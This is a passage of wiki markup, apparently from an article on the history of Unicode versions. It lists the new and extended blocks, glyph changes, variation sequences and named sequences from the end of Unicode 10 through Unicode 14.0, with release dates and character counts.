* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
